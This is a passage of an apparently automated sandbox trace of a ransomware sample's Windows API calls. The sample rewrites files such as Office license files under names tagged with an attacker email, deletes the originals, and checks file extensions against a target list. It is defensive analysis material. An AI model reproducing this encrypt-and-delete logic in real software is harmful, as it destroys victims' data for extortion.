hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.351] GetLastError () returned 0x0 [0204.351] ReadFile (in: hFile=0x56c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0204.356] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.358] ReadFile (in: hFile=0x56c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.358] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x124, lpOverlapped=0x0) returned 1 [0204.358] SetEndOfFile (hFile=0x544) returned 1 [0204.358] CloseHandle (hObject=0x544) returned 1 [0204.358] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.358] SetEndOfFile (hFile=0x56c) returned 1 [0204.363] CloseHandle (hObject=0x56c) returned 1 [0204.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.366] lstrlenW (lpString=".doc") returned 4 [0204.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString=".docx") returned 5 [0204.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.366] lstrlenW (lpString=".pdf") returned 4 [0204.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString=".xls") returned 4 [0204.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString=".xlsx") returned 5 [0204.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.366] lstrlenW (lpString=".ppt") returned 4 [0204.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.366] lstrlenW (lpString=".zip") returned 4 [0204.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString=".rar") returned 4 [0204.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString=".bz2") returned 4 [0204.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString=".7z") returned 3 [0204.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.366] lstrlenW (lpString=".dbf") returned 4 [0204.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.366] lstrlenW (lpString=".1cd") returned 4 [0204.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.366] lstrlenW (lpString=".jpg") returned 4 [0204.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.372] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2eb0, Size=0x20) returned 0x459f790 [0204.372] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2e98 [0204.372] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e98, Size=0x20) returned 0x459f8d0 [0204.372] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.373] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.373] Wow64DisableWow64FsRedirection (in: OldValue=0x3bbff50 | out: OldValue=0x3bbff50*=0x1) returned 1 [0204.373] lstrlenW (lpString="kernel32.dll") returned 12 [0204.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f8d0 | out: hHeap=0x710000) returned 1 [0204.373] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f790 | out: hHeap=0x710000) returned 1 Thread: id = 47 os_tid = 0xe34 [0158.642] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x37d3410 [0158.643] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x37e3418 [0158.643] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b0e0 [0158.643] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac578 [0158.643] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b128 [0158.643] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x41db020 [0158.646] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b050 [0158.646] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b050, Size=0x20) returned 0x74dcc0 [0158.646] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b140 [0158.646] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b140, Size=0x20) returned 0x74dce8 [0158.646] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0158.646] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0158.646] Wow64DisableWow64FsRedirection (in: OldValue=0x3cfff50 | out: OldValue=0x3cfff50*=0x0) returned 1 [0158.646] lstrlenW (lpString="kernel32.dll") returned 12 [0158.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dcc0 | out: hHeap=0x710000) returned 1 [0158.647] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0158.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dce8 | out: hHeap=0x710000) returned 1 [0158.647] Sleep (dwMilliseconds=0x64) [0159.048] lstrcmpiW (lpString1=".MARKER", lpString2=".save") returned -1 [0159.048] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0159.048] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0159.054] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=0) returned 1 [0159.054] CloseHandle (hObject=0x344) returned 1 [0159.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.054] lstrlenW (lpString=".doc") returned 4 [0159.054] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0159.054] lstrlenW (lpString=".docx") returned 5 [0159.054] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0159.055] lstrlenW (lpString=".pdf") returned 4 [0159.055] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString=".xls") returned 4 [0159.055] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString=".xlsx") returned 5 [0159.055] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0159.055] lstrlenW (lpString=".ppt") returned 4 [0159.055] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.055] lstrlenW (lpString=".zip") returned 4 [0159.055] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString=".rar") returned 4 [0159.055] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString=".bz2") returned 4 [0159.055] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString=".7z") returned 3 [0159.055] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0159.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.055] lstrlenW (lpString=".dbf") returned 4 [0159.055] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.055] lstrlenW (lpString=".1cd") returned 4 [0159.055] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.055] lstrlenW (lpString=".jpg") returned 4 [0159.055] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.055] lstrlenW (lpString=".doc") returned 4 [0159.055] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0159.055] lstrlenW (lpString=".docx") returned 5 [0159.056] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0159.056] lstrlenW (lpString=".pdf") returned 4 [0159.056] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString=".xls") returned 4 [0159.056] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString=".xlsx") returned 5 [0159.056] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0159.056] lstrlenW (lpString=".ppt") returned 4 [0159.056] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.056] lstrlenW (lpString=".zip") returned 4 [0159.056] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString=".rar") returned 4 [0159.056] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString=".bz2") returned 4 [0159.056] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString=".7z") returned 3 [0159.056] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0159.056] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.056] lstrlenW (lpString=".dbf") returned 4 [0159.056] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.056] lstrlenW (lpString=".1cd") returned 4 [0159.056] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0159.056] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0159.056] lstrlenW (lpString=".jpg") returned 4 [0159.056] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0159.056] Sleep (dwMilliseconds=0x64) [0159.317] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0159.317] lstrlenW (lpString="bootspaces.dll") returned 14 [0159.317] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.489] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=95648) returned 1 [0159.489] CloseHandle (hObject=0x374) returned 1 [0159.489] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0159.489] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.489] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.489] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.489] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.489] lstrlenW (lpString=".doc") returned 4 [0159.489] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.489] lstrlenW (lpString=".docx") returned 5 [0159.489] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.489] lstrlenW (lpString=".pdf") returned 4 [0159.489] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.489] lstrlenW (lpString=".xls") returned 4 [0159.489] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.490] lstrlenW (lpString=".xlsx") returned 5 [0159.490] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.490] lstrlenW (lpString=".ppt") returned 4 [0159.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.490] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.490] lstrlenW (lpString=".zip") returned 4 [0159.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.490] lstrlenW (lpString=".rar") returned 4 [0159.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.490] lstrlenW (lpString=".bz2") returned 4 [0159.490] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.490] lstrlenW (lpString=".7z") returned 3 [0159.490] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.490] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.490] lstrlenW (lpString=".dbf") returned 4 [0159.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.490] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.490] lstrlenW (lpString=".1cd") returned 4 [0159.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.490] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.490] lstrlenW (lpString=".jpg") returned 4 [0159.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.490] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.490] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.490] lstrlenW (lpString=".doc") returned 4 [0159.490] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.490] lstrlenW (lpString=".docx") returned 5 [0159.491] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.491] lstrlenW (lpString=".pdf") returned 4 [0159.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.491] lstrlenW (lpString=".xls") returned 4 [0159.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.491] lstrlenW (lpString=".xlsx") returned 5 [0159.491] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.491] lstrlenW (lpString=".ppt") returned 4 [0159.491] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.491] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.491] lstrlenW (lpString=".zip") returned 4 [0159.491] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.491] lstrlenW (lpString=".rar") returned 4 [0159.491] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.491] lstrlenW (lpString=".bz2") returned 4 [0159.491] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.491] lstrlenW (lpString=".7z") returned 3 [0159.491] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.491] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.491] lstrlenW (lpString=".dbf") returned 4 [0159.491] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.491] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.491] lstrlenW (lpString=".1cd") returned 4 [0159.491] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.491] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0159.491] lstrlenW (lpString=".jpg") returned 4 [0159.491] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.492] Sleep (dwMilliseconds=0x64) [0159.862] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0159.862] lstrlenW (lpString="bootres.dll") returned 11 [0159.862] CreateFileW (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.863] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=92576) returned 1 [0159.863] CloseHandle (hObject=0x378) returned 1 [0159.863] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0159.863] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\bootres.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\resources\\bootres.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.863] CreateFileW (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.864] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.864] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.864] lstrlenW (lpString=".doc") returned 4 [0159.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.864] lstrlenW (lpString=".docx") returned 5 [0159.864] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.864] lstrlenW (lpString=".pdf") returned 4 [0159.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.864] lstrlenW (lpString=".xls") returned 4 [0159.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.864] lstrlenW (lpString=".xlsx") returned 5 [0159.864] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.864] lstrlenW (lpString=".ppt") returned 4 [0159.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.864] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.864] lstrlenW (lpString=".zip") returned 4 [0159.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.864] lstrlenW (lpString=".rar") returned 4 [0159.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.864] lstrlenW (lpString=".bz2") returned 4 [0159.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.864] lstrlenW (lpString=".7z") returned 3 [0159.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.864] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.864] lstrlenW (lpString=".dbf") returned 4 [0159.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.864] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.865] lstrlenW (lpString=".1cd") returned 4 [0159.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.865] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.865] lstrlenW (lpString=".jpg") returned 4 [0159.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.865] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.865] lstrlenW (lpString=".doc") returned 4 [0159.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString=".docx") returned 5 [0159.865] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.865] lstrlenW (lpString=".pdf") returned 4 [0159.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString=".xls") returned 4 [0159.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString=".xlsx") returned 5 [0159.865] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.865] lstrlenW (lpString=".ppt") returned 4 [0159.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.865] lstrlenW (lpString=".zip") returned 4 [0159.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString=".rar") returned 4 [0159.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.865] lstrlenW (lpString=".bz2") returned 4 [0159.866] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.866] lstrlenW (lpString=".7z") returned 3 [0159.866] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.866] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.866] lstrlenW (lpString=".dbf") returned 4 [0159.866] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.866] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.866] lstrlenW (lpString=".1cd") returned 4 [0159.866] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.866] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0159.866] lstrlenW (lpString=".jpg") returned 4 [0159.866] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.866] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.866] lstrlenW (lpString="bootres.dll.mui") returned 15 [0159.866] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.867] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=12192) returned 1 [0159.867] CloseHandle (hObject=0x378) returned 1 [0159.867] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0159.867] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.867] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.867] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.867] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.867] lstrlenW (lpString=".doc") returned 4 [0159.867] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.867] lstrlenW (lpString=".docx") returned 5 [0159.867] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0159.867] lstrlenW (lpString=".pdf") returned 4 [0159.868] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.868] lstrlenW (lpString=".xls") returned 4 [0159.868] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.868] lstrlenW (lpString=".xlsx") returned 5 [0159.868] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0159.868] lstrlenW (lpString=".ppt") returned 4 [0159.868] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.868] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.868] lstrlenW (lpString=".zip") returned 4 [0159.868] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.868] lstrlenW (lpString=".rar") returned 4 [0159.868] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.868] lstrlenW (lpString=".bz2") returned 4 [0159.868] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.868] lstrlenW (lpString=".7z") returned 3 [0159.868] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.868] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.868] lstrlenW (lpString=".dbf") returned 4 [0159.868] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.868] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.868] lstrlenW (lpString=".1cd") returned 4 [0159.868] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.868] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.868] lstrlenW (lpString=".jpg") returned 4 [0159.868] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.869] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.869] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.869] lstrlenW (lpString=".doc") returned 4 [0159.869] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.869] lstrlenW (lpString=".docx") returned 5 [0159.869] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0159.869] lstrlenW (lpString=".pdf") returned 4 [0159.869] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.869] lstrlenW (lpString=".xls") returned 4 [0159.869] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.869] lstrlenW (lpString=".xlsx") returned 5 [0159.869] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0159.869] 